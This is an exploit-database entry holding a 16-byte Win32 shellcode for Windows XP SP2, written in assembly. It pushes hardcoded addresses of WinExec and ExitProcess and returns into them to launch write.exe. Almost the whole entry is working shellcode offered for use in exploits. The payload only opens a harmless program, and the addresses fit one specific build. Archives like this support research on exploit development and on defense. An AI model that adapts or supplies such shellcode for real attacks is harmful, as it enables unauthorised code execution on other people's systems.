Windows/x86 (XP SP2) - WinExec(write.exe) + ExitProcess Shellcode (16 bytes)

EDB-ID:

13642

CVE:

N/A


Author:

czy


Platform:

Windows_x86

Date:

2010-03-18


# Title: Win32 Mini HardCode WinExec&ExitProcess Shellcode 16 bytes
;Test on xpsp2cn,no zero in shellcode,it will run write.exe()
;---------------------------------------------
push 7C808E9DH ;write ;68 xx xx xx xx ;program string in memory
push 7C81CAA2H ;exitprocess ;68 xx xx xx xx
push 7C86114DH ;winexec ;68 xx xx xx xx
ret ;C3
;--------------------------------------------